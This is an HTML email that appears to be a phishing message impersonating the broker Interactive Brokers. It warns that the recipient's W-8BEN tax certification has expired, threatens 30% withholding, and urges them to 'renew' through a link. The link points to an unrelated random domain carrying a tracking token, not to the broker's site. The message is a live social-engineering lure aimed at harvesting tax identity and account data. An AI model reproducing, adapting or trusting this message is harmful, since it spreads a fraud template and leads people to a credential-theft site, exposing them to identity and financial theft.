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                          Compliance Advisory — Expired W-8BEN Certification Renewal Requirement</td>
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  Dear Valued Client,<br /><br />
  As part of our regulatory responsibilities under the U.S. Internal Revenue Service (IRS) framework, we are required to ensure that all non-U.S. clients maintain valid and up-to-date Form W-8BEN documentation. This form certifies your non-U.S. tax residency and allows our institution to apply the correct withholding rates under existing tax treaties.<br /><br />
  Our records show that your current certification has expired. Renewal is mandatory to prevent withholding at the statutory 30% rate on income paid from U.S. sources, such as dividends, interest, or other distributions.<br /><br />
  To complete the renewal, please use our secure online submission platform:<br /><br />
  <a href="https://rgcqnvtk.com?token=YkFSnk24FwOYSt93kUmM">Update W-8BEN Documentation</a><br /><br />
  The renewal process takes only a few minutes and ensures full compliance with federal requirements. Completing it promptly will prevent any service delays and preserve your eligibility for treaty-based withholding benefits.<br /><br />
  Should you have any questions or require guidance, our Compliance Department is available to assist you.<br /><br />
  We appreciate your cooperation in maintaining accurate and compliant tax records.<br /><br />
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                          Interactive Brokers
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                                          Interactive Brokers, member NYSE, FINRA, SIPC
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